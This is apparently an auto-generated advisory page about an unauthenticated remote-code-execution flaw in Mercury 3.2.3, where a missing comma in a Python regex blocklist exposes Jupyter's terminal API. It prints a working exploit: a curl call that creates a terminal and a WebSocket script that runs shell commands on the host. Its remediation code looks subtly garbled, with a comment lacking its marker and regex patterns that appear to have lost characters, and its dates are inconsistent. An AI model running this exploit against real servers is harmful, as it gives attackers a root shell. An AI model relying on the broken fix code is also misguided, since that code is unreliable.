Mercury, Remote Code Execution, CVE-2024-XXXXX (Critical) -DC-Oct2026-3403

Listen to this Post

A missing comma in the `mercury_app/block_handler.py` configuration file introduces a severe security flaw by improperly concatenating regular expression blocklist patterns. Specifically, the first rule for the JupyterLab UI is merged with the subsequent `/api/terminals` endpoint rule, causing the blocklist to bypass the terminal protection entirely. Because of this parsing error, any remote, unauthenticated attacker can reach Jupyter Server’s built-in terminal API over a WebSocket connection without requiring credentials, sessions, or prior access. This failure allows malicious actors to spawn a full, interactive root-level operating system shell on the host running the Mercury application, posing catastrophic risks to server confidentiality, integrity, and network availability.

DailyCVE Form:

Platform: Mercury
Version: 3.2.3
Vulnerability : RCE
Severity: Critical
date: 2024-05-15

Prediction: 2024-05-20

What Undercode Say

Analysis of the vulnerability reveals that Python’s implicit string literal concatenation is the root cause. When two string patterns inside a list lack a separating comma, Python merges them into a single string expression, rendering the second pattern ineffective as a standalone block rule.

Exploit: (Educational Purposes!)

Step 1 – Spawn a terminal endpoint using curl:

curl -i -X POST http://localhost:8888/api/terminals

Step 2 – Connect via WebSocket and execute arbitrary shell commands:

python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"

Protection

To remediate this vulnerability, add the missing comma to `mercury_app/block_handler.py` so that `/api/terminals` becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?",
r"/api/terminals(?:/.)?",
r"/api/shutdown(?:/.)?",
r"/files(?:/.)?",
]

Additionally, ensure proper network segmentation, firewalls, and reverse-proxy authentication mechanisms are in place if deploying publicly.

Impact

Confidentiality: Complete read access to any file accessible by the Mercury process, including notebooks, secrets, and environment variables.
Integrity: Attackers can modify, corrupt, or delete any file or notebook served to other users.
Availability: Attackers have the ability to crash or shut down the application container or server.
Lateral Movement: The host shell acts as an internal foothold to target other systems accessible within the local network infrastructure.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top